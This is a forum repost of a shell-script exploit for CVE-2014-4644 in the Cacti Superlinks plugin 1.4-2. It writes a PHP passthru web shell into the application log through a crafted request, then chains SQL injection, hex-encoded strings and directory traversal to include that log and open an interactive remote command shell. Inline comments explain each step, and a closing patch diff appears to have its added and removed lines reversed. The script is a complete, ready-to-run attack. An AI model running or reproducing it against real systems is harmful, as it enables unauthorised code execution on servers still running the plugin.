Aerosol Posted December 20, 2014 Report Posted December 20, 2014 #!/bin/sh############### Exploit Title: Cacti - Superlinks Plugin 1.4-2 RCE(LFI) via SQL Injection# Date: 19/12/2014# Exploit Author: Wireghoul# Software Link: http://docs.cacti.net/plugin:superlinks# Identifiers: CVE-2014-4644, EDB-ID-33809# Exploit explanation through inline comments# Patch provided at the end## This is the year where hope fails you -- Slipknot: Pulse of the maggots###############echo -e "\e[32m *-*, \e[31m ___________"echo -e "\e[32m ,*\/|\`| ; \e[31m /.'_______\`.\\"echo -e "\e[32m \\' | |'; *, \e[31m /( (_______\`-'\\"echo -e "\e[32m \ \`| | ;/ ) \e[31m \`.\`.______ \.'"echo -e "\e[32m : |'| , / \e[31m \`..-.___>.'"echo -e "\e[32m :'| |, / \e[31m \`.__ .'\e[0m"echo -e " _________\e[32m:_|_|_;\e[0m_______________\e[31m\`.'\e[0m_______[Wireghoul]___"echo -e " CACTI SUPERLINKS PLUGIN 1.4-2 REMOTE CODE EXECUTION PoC"echoif [ -z $1 ]; then echo -e "Usage $0 <superpluginurl>\n $0 http://example.com/cacti/plugins/superlinks/superlinks.php\n"; exit 2;fi# This exploit is a second order LFI through SQLI, so first we must write some data to disk# Luckily the application logs all sort of stuff, so lets poison the application log# The reason for this is manyfold, read on.curl --silent "$1?id=SHELL<?php+passthru(\$_GET\[c\])+?>LLEHS<?php+exit+?>" > /dev/null# Now lets analyse the vulnerability:# superlinks.php:21:if (isset($_GET['id'])) {# superlinks.php:22: $pageid=$_GET['id'];# superlinks.php:23:}# superlinks.php:24:# superlinks.php:25:$page = db_fetch_row("SELECT DISTINCT# superlinks.php:26: id,# superlinks.php:27: title,# superlinks.php:28: style,# superlinks.php:29: contentfile# superlinks.php:30: FROM (superlinks_pages, superlinks_auth)# superlinks.php:31: WHERE superlinks_pages.id=superlinks_auth.pageid# superlinks.php:32: AND id=" . $pageid . "# This is where the injection occurs, we can now union select 1,2,3,4 -- ftw# However the real fun occurs a few lines later# superlinks.php:57: $my_file = $config["base_path"] . "/plugins/superlinks/content/" . $page['contentfile'];# superlinks.php:58:# superlinks.php:59: if (file_exists($my_file)) {# superlinks.php:60: @InClude_once($my_file);# We can now include a file of our choosing (LFI) based on the data returned from the SQLi# There are only a few problems:# * We cannot use strings/quotes as magic quotes are usually on# * We do not know the local path for the LFI# * Usual tricks like /proc/self* have been patched# * Database server and web server may be different hosts# Lets solve the easy one first, we dont need to quote our strings, hex encoding works great# The second one is a little trickier, we can brute force LFI locations... or# We can dynamically locate a file path which is stored in the database and present on the webserver# $ mysqldump cacti | grep '\.log'# INSERT INTO `settings` VALUES ('path_php_binary','/usr/bin/php'),('path_rrdtool','/usr/bin/rrdtool'),('poller_lastrun','1414565401'),('path_webroot','/usr/share/cacti/site'),('date','2014-10-29 17:50:02'),('stats_poller','Time:0.1182 Method:cmd.php Processes:1 Threads:N/A Hosts:2 HostsPerProcess:2 DataSources:0 RRDsProcessed:0'),('stats_recache','RecacheTime:0.0 HostsRecached:0'),('path_snmpwalk','/usr/bin/snmpwalk'),('path_snmpget','/usr/bin/snmpget'),('path_snmpbulkwalk','/usr/bin/snmpbulkwalk'),('path_snmpgetnext','/usr/bin/snmpgetnext'),('path_cactilog','/var/log/cacti/cacti.log'),('snmp_version','net-snmp'),('rrdtool_version','rrd-1.4.x'),('superlinks_tabstyle','0'),('superlinks_hidelogo','0'),('superlinks_hideconsole','0'),('superlinks_db_version','1.4'),('auth_method','1'),('guest_user','guest'),('user_template','0'),('ldap_server',''),('ldap_port','389'),('ldap_port_ssl','636'),('ldap_version','3'),('ldap_encryption','0'),('ldap_referrals','0'),('ldap_mode','0'),('ldap_dn',''),('ldap_group_require',''),('ldap_group_dn',''),('ldap_group_attrib',''),('ldap_group_member_type','1'),('ldap_search_base',''),('ldap_search_filter',''),('ldap_specific_dn',''),('ldap_specific_password','');# $ ls -la /var/log/cacti/cacti.log# -rw-r----- 1 www-data www-data 5838 Oct 29 17:50 /var/log/cacti/cacti.log# $ tail /var/log/cacti/cati.log# <snip> ERROR: SQL Assoc Failed!, Error:'1064', SQL:"SELECT graph_templates.id, graph_templates.name FROM (graph_local,graph_templates,graph_templates_graph) WHERE graph_local.id=graph_templates_graph.local_graph_id AND graph_templates_graph.graph_template_id=graph_templates.id AND graph_local.host_id=1 AND graph_templates.id=12 select 1,2,3,4 -- GROUP BY graph_templates.id ORDER BY graph_templates.name"# WINRAR!# We can now include the poisoned log file by fetching the log path from the database# and prepending it with the normal directory traversal pattern ../../../ using concat()# We traverse 8 deep, that's usually enoughecho -ne "Dropping into shell, type exit to quit.\ncactishell> "while read line; doif [ "$line" == "exit" ]; then exitficomand=`echo -n $line | sed -e's/ /+/g'`curl --silent "$1?id=123+union+select+1,2,3,concat(0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f,value)+from+settings+where+name=0x706174685f63616374696c6f67+--+-&c=$comand" | \sed -n '/SHELL/, $p' | \sed -e 's/.*SHELL//' |\sed '/LLEHS/, $d'echo -n "cactishell> "done# Proposed patch# Vendor has a patch in a SVN repo somewhere:# [url]http://bugs.cacti.net/bug_view_advanced_page.php?bug_id=2475[/url]# Yet has not made the patch available, or responded to requests to do so:# [url]http://forums.cacti.net/viewtopic.php?t=53711[/url]#--- superlinks.php 2014-12-18 02:05:37.706013833 -0500#+++ superlinks.php 2014-12-18 02:05:09.694014497 -0500#@@ -19,7 +19,7 @@## $pageid = 0;# if (isset($_GET['id'])) {#- $pageid=intval($_GET['id']);#+ $pageid=$_GET['id'];# }## $page = db_fetch_row("SELECT DISTINCTSource Quote